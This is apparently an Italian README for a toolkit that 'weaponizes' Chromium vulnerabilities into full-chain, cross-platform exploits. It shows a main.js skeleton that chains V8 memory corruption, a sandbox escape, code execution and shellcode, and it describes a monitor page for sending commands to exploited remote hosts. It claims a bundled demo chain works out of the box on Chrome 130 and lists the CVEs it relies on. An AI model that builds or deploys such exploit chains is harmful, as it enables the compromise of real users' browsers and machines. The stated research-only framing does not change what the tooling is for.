
Toolkit per armare le vulnerabilità di Chromium in exploit affidabili, multipiattaforma e a catena completa.
Un toolkit per trasformare le vulnerabilità di Chromium in exploit affidabili, cross-platform e a catena completa.
Questo progetto fornisce un insieme di potenti script helper, ma richiede che tu fornisca le tue vulnerabilità. Sei responsabile dell'implementazione dei primitivi di sfruttamento minimi, mentre il toolkit gestisce tutto il resto.
Una catena di exploit personalizzata si basa sul file script main.js, che ti consente di includere selettivamente le tue vulnerabilità insieme agli script helper del toolkit:
// Exploit settings
let loglevel = 5;
let run_in_worker = false;
// Exploit chain
async function main() {
// Common helpers
await include("kit/common/convert.js");
await include("kit/common/dom.js");
await include("kit/common/stability.js");
await include("kit/common/v8-utils.js");
await include("kit/common/versions.js");
await include("kit/common/wasm-module-builder.js");
// Symbols database for your exploit chain
await include("vulns/symbols.js");
// Early fingerprinting
await include("kit/fingerprint/d8.js");
await include("kit/fingerprint/useragent.js");
// Your initial V8 memory corruption
// This should craft addrOf() & fakeObj() primitives
await include("vulns/memcor/your-code.js");
// Bootstrap stage-2 primitives & gain memory read/write inside the V8 SBX
await include("kit/v8/cage.js");
// Your V8 sandbox escape
// This should craft arbRead() & arbWrite() primitives AND leak some pointers
await include("vulns/v8sbx/your-code.js");
// Utils to manipulate the renderer memory
await include("kit/v8/memory.js");
// Achieve code execution (automatically select the best method based on the leaked pointers)
await include("kit/v8/rwx/egghunt.js");
await include("kit/v8/rwx/isolate.js");
await include("kit/v8/rwx/partitionalloc.js");
await include("kit/v8/rwx/wasmrwx.js");
await include("kit/v8/rwx.js");
// Bootstrap stage-3 primitives & provide generic shellcodes
await include("kit/shellcodes/x64.js");
await include("kit/shellcodes/x64-win.js");
await include("kit/shellcodes/x64-linux.js");
// Precise fingerprinting
await include("kit/fingerprint/win.js");
await include("kit/fingerprint/linux.js");
// Enable MojoJS and other protected flags
await include("kit/renderer/mojo.js");
// Your sandbox escape
await include("vulns/sbx/your-code.js");
}
/*
Other customizable features are implemented here
(logging, clean exit handling, exploit reloading, scripts execution context...)
...
*/
Leggi la documentazione per una panoramica completa delle funzionalità disponibili.
Una pagina web di test è fornita in index.html.
Stampa i log, gestisce i crash e consente allo script principale di includere file dalle sottocartelle del progetto.
Puoi eseguirla localmente usando python3 server.py, quindi navigare su http://localhost:8000.
La pagina web monitor.html fornisce una semplice interfaccia per monitorare e testare gli exploit da remoto.
Mostra gli host remoti, i log degli exploit e le statistiche degli errori.
Consente inoltre di inviare comandi agli host remoti, inclusi i ricaricamenti degli exploit e una modalità stress-test.
Per le fasi iniziali dello sviluppo di exploit, puoi anche eseguire lo script principale in d8: d8.exe main.js.
Quando la catena di exploit è pronta, sono forniti strumenti per automatizzare varie attività:
build.py per compilare l'exploit in un singolo scriptdownload.py per scaricare release specifiche di Google Chromesymbols.py per il parsing automatizzato dei PDBAlcuni exploit per vulnerabilità pubbliche sono forniti per mostrare le funzionalità del toolkit:
| Vulnerabilità | Versioni interessate (Chrome Stable) | Dettagli |
|---|---|---|
| CVE-2024-11114 | 94 - 130 (solo Windows) | Il mouse può essere controllato tramite l'interfaccia Mojo IPC startDragging() per eseguire file scaricati e fuggire dalla sandbox |
Una catena di exploit dimostrativa è fornita nel main.js predefinito. Si basa sulle seguenti vulnerabilità:
Questa catena di exploit funziona out-of-the-box su qualsiasi Chrome 130 stabile e sulle release estese fino a 130.0.6723.160. Può essere facilmente estesa a M128, M129 e M131 (< 131.0.6778.264) aggiungendo symbols.
Gli exploit possono anche essere testati da remoto tramite la pagina web di monitoraggio:

Questo toolkit è destinato esclusivamente alla ricerca sulla sicurezza. Di per sé, non fornisce alcun materiale per sfruttare vulnerabilità non divulgate nel progetto Chromium. L'uso di questo toolkit per scopi dannosi è esclusivamente di tua responsabilità.
Le release pubbliche sono concesse in licenza secondo i termini della GNU AGPLv3. In particolare, la commercializzazione di exploit privati basati su questo toolkit non è consentita ai sensi di questi termini. I commit precedenti alla prima release pubblica potrebbero non essere licenziati e sono protetti dalle leggi sul copyright predefinite.
Questo progetto include componenti di terze parti con licenza: vedi qui per i dettagli.
| Vulnerabilità | Versioni interessate (Chrome Stable) | Dettagli |
|---|
| CVE-2024-7971 | <= 127 | Confusione di tipo WASM durante ParallelMove in Liftoff |
| CVE-2025-0291 | 128 - 131 (< 131.0.6778.264, componente vulnerabile distribuito tramite Finch) | Confusione di tipo in WasmGCTypeAnalyzer di Turboshaft sui loop a blocco singolo |
| CVE-2025-2135 | 133 - 134 (< 134.0.6998.88) | Confusione di tipo su oggetti in aliasing in TransitionElementsKindOrCheckMap |
| CVE-2025-5419 | <= 136 (kill-switch Finch da 133) | Accesso alla memoria fuori dai limiti a causa di un'eliminazione store-store non valida su indici dinamici |
| Vulnerabilità | Versioni interessate (Chrome Stable) | Dettagli |
|---|
| 352689356 | <= 131 | Confusione della firma di funzione WASM in call_ref TurboFan non inline |
| 379140430 | <= 132 | Confusione di tipo della firma nel tier-up di WasmToJsWrapper con corruzione di Tuple2 nella sandbox |
| 395659804 | <= 134 | Esecuzione di codice arbitrario tramite confusione di OSR DeoptimizationData |
| 421403261 | 134 - 137 (< 137.0.7151.119, solo x64) | Collisione dell'hash della firma i32/i64 in Liftoff |